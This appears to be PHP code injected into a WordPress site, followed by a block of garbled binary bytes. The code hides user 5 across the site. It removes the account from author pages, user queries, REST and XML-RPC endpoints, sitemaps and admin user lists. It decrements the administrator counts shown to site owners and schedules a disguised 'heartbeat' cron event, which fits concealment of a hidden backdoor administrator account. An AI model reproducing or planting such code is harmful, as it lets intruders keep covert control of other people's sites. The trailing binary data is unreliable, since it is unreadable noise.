add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
՝OIs6@:"TV3]/XA]ݢMI4=g|ދ_c#-Jz]bpGL4#=̊sݭ6_~U^nnV_~?ӯ?lvվ}hkٷ7W竿Zq^j{>wZ~l6Wn߯wnuڬoWʁ ccj6#{?߷m??o_㶽姏zvxqܬzxtZﮛj=۬ٮz={x~~ϡ?v{|/w7ۻ#_;~,kyv>_M~p}n<~>)s?lvͯ3g>@=yY?у}ޭ/k>Czqpo䆹ù˹9-9Fn5B4AӒp'0:pbV`MkT~;#nw*nGFqjnWM9Wq{ Kn98Ts#Bϱ&Ăe籎eǍbo=7~7-v ψPqHĎۡsWb2;OyvUPvqy⎡
j0&p<&qCr5w7<;ii#d7~젞;:U_c_*X&
R
dnpl|X_2w`O) ٓLw9 mnO常X|Tq1;i竺xۓg{/qci5k;
t(;8٬wr.U0n!:8ͣ!ȟ$6N)Ν7}7:/F2(:n8q玞Qq$y^"5&$$=s'Vw~2.~{E٩rh+\Tov#Uzn&_U=!;8}iOSCQUlPC|RЫv8{dn'|UlRτr?}On}$7#;)I&Z!j@#
8ՆI
3Vs0a@'sdvQsHQ}.rv2WޘL
b\ }N8FVXcI} sQmWDm\ePs5M-wT@ttP(P{NK&5<@P
oܳpbbR*MfK&N'*V~b=\7!s>֚-T\cEǵnELrb Gn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